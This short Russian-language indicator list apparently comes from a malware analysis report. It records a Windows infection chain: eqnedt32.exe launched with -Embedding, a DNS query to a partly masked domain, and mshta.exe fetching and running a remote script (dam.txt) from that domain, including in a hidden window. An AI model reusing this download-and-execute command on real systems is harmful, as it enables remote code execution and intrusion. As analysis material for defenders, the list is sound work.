Техническая информация
- '%WINDIR%\syswow64\mshta.exe' http://ma###ar.co.in/cmd/dam.txt &AAAAC
- http://ma###ar.co.in/cmd/dam.txt
- DNS ASK ma###ar.co.in
- '%WINDIR%\syswow64\mshta.exe' http://ma###ar.co.in/cmd/dam.txt &AAAAC' (со скрытым окном)
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding